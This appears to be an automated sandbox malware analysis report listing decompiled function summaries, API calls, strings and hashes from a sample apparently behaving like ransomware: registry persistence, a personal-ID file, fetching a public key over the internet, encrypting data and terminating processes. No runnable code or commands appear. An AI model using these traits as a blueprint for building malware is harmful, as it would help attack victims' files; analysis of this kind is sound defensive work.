C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6
, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758
func(%lu), xrefs: 00450734

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

